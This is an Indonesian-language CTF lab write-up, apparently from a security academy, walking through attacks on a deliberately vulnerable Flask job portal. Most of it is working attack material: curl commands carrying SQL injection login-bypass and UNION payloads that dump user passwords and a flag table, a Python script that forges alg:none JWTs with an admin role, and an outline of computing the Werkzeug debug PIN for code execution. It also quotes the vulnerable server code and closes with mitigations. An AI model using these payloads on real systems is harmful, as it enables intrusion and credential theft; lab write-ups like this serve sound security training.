TDCTF Academy Logo TDCTF ACADEMY

Lab #6 - Job Portal: SQLi + JWT Forgery + Database Traversal

Target: http://job.vuln.cybersecurity.or.id:8086/
Versi: Flask + Vue.js, Python 3.11, SQLite
Tools: curl, browser
Flag: 🔴 FLAG{J0b_P0rt4l_P4th_Tr4v3rs4l_2025}


Filosofi Serangan

Job Portal adalah aplikasi berbasis Flask + Vue.js dengan database SQLite. Aplikasi ini memiliki rantai kerentanan yang memungkinkan attacker naik dari user biasa hingga RCE:

  1. SQL Injection - di search, login, dan job detail
  2. JWT Forgery - algoritma none diterima
  3. Database Traversal - SQLi UNION untuk membaca tabel lain

️ Langkah 1: Reconnaissance

1.1. Fingerprint

curl -s -I http://job.vuln.cybersecurity.or.id:8086/ | head -10

Output:

HTTP/1.1 200 OK
Server: Werkzeug/3.1.8 Python/3.11.15

Aplikasi menggunakan Flask (Werkzeug) - WSGI Python.

1.2. API Discovery

# Lihat daftar jobs
curl -s http://job.vuln.cybersecurity.or.id:8086/api/jobs | python3 -m json.tool

# Login API
curl -s -X POST http://job.vuln.cybersecurity.or.id:8086/api/login \
-H "Content-Type: application/json" \
-d '{"username":"admin","password":"admin123"}'

Output:

{"token":"eyJ...","user":{"username":"admin","role":"admin"}}

Langkah 2: SQL Injection

2.1. SQLi di Login

Endpoint /api/login rentan SQLi:

Source code:

q = f"SELECT * FROM users WHERE username='{user}' AND password='{pwd}'"

Eksploitasi:

# Login bypass
curl -s -X POST http://job.vuln.cybersecurity.or.id:8086/api/login \
-H "Content-Type: application/json" \
-d '{"username":"admin'"'"' OR '"'"'1'"'"'='"'"'1","password":"x"}'

Endpoint /api/jobs?search= rentan SQLi:

Source code:

q = f"SELECT * FROM jobs WHERE title LIKE '%{search}%' OR description LIKE '%{search}%'"

Eksploitasi - tampilkan semua data:

curl -s "http://job.vuln.cybersecurity.or.id:8086/api/jobs?search='+OR+'1'='1"

2.3. SQLi UNION - Baca Tabel Lain

Dengan UNION SELECT, kita bisa membaca tabel lain:

# Struktur tabel jobs: id, title, description, company, location, status, created_by = 7 columns
curl -s "http://job.vuln.cybersecurity.or.id:8086/api/jobs?search='+UNION+SELECT+1,username,password,4,5,6,7+FROM+users--"

Output:

[
{"title":"admin","description":"admin123","company":4,...},
{"title":"user1","description":"pass123","company":4,...},
{"title":"user2","description":"pass456","company":4,...}
]

2.4. Database Traversal - Baca Flag

Ini adalah Path Traversal dalam konteks database - kita traverse dari tabel jobs ke tabel secrets:

curl -s "http://job.vuln.cybersecurity.or.id:8086/api/jobs?search='+UNION+SELECT+1,flag,3,4,5,6,7+FROM+secrets--"

Output flag:

{"title":"FLAG{J0b_P0rt4l_P4th_Tr4v3rs4l_2025}",...}

Langkah 3: JWT Forgery (alg: none)

3.1. Analisis JWT

Server menerima JWT dengan algoritma none:

Source code:

def parse_token(req):
parts = auth.split(".")
hdr = json.loads(base64.urlsafe_b64decode(parts[0] + "=="))
if hdr.get("alg") == "none":
return json.loads(base64.urlsafe_b64decode(parts[1] + "=="))

3.2. Forge Token

Kita bisa membuat token dengan role admin tanpa perlu secret:

import json, base64

def b64url(data):
return base64.urlsafe_b64encode(json.dumps(data).encode()).decode().rstrip('=')

header = {"alg":"none","typ":"JWT"}
payload = {"user_id":1,"username":"admin","role":"admin","exp":9999999999}

forged_token = f"{b64url(header)}.{b64url(payload)}."
print(forged_token)

3.3. Gunakan Forged Token

curl -s -H "Authorization: Bearer <FORGED_TOKEN>" \
http://job.vuln.cybersecurity.or.id:8086/api/profile

Output:

{"claims":{"role":"admin","username":"admin","exp":9999999999,...}}

3.4. Akses Admin Endpoint

# Tanpa auth sekalipun, admin endpoint bisa diakses
curl -s http://job.vuln.cybersecurity.or.id:8086/api/admin/users

Output - semua user termasuk password:

[
{"username":"admin","password":"admin123","role":"admin"},
{"username":"user1","password":"pass123","role":"user"},
...
]

Langkah 4: Flask Debug Console (Path Traversal RCE)

4.1. Deteksi Debug Mode

curl -s http://job.vuln.cybersecurity.or.id:8086/console | head -5

Output:

<title>Console // Werkzeug Debugger</title>

Aplikasi berjalan dalam debug=True - Werkzeug interactive console tersedia!

4.2. PIN Console

Console membutuhkan PIN yang di-generate dari informasi mesin:

  • boot_id: /proc/sys/kernel/random/boot_id
  • MAC address
  • machine-id: /etc/machine-id

Dengan informasi ini, kita bisa menghitung PIN Werkzeug dan mendapatkan Python shell interaktiffull RCE + file read.


Poin Penting

Semua Kerentanan

# Kerentanan Dampak
1 SQL Injection (login) Bypass autentikasi
2 SQL Injection (search) Baca tabel lain (traversal)
3 SQL Injection (job detail) Baca data sensitif
4 JWT alg: none Forge token tanpa secret
5 No auth on /api/admin/users Siapa pun bisa lihat semua user
6 Debug Mode ON Werkzeug console → RCE
7 Mass Assignment Client set status job

Cara Mitigasi

  1. Gunakan ORM/parameterized queries untuk SQL - jangan f-string!
  2. JWT: jangan pernah terima alg: none - set algorithms=["HS256"] dan validasi token
  3. Nonaktifkan debug mode di production - set debug=False
  4. Auth pada setiap endpoint - jangan hanya di frontend (Vue.js)
  5. Validasi input - batasi UNION injection dengan white-list column

Kesimpulan

Target: Job Portal di http://job.vuln.cybersecurity.or.id:8086/
Attack Chain: SQLi Search → UNION → Database Traversal → Flag
Alternate: JWT alg:none → Admin → Data Exfil
Flag: FLAG{J0b_P0rt4l_P4th_Tr4v3rs4l_2025}
Durasi: ~5 menit

Urutan serangan:

  1. ✅ SQL Injection via search endpoint
  2. ✅ UNION SELECT dari jobs ke tabel secrets (database traversal)
  3. ✅ Flag diekstrak dari tabel rahasia
  4. ✅ Bonus: JWT alg: none → akses semua admin endpoint

🔥 Pelajaran: SQL Injection di aplikasi Python/Flask sama berbahayanya dengan di PHP. Selalu gunakan parameterized query dan jangan pernah percaya JWT dengan algoritma none. Debug mode wajib dimatikan di production!


Generated by @farishhz Agent Pentest Pipeline - TDCTF Security Academy

PADA HALAMAN INI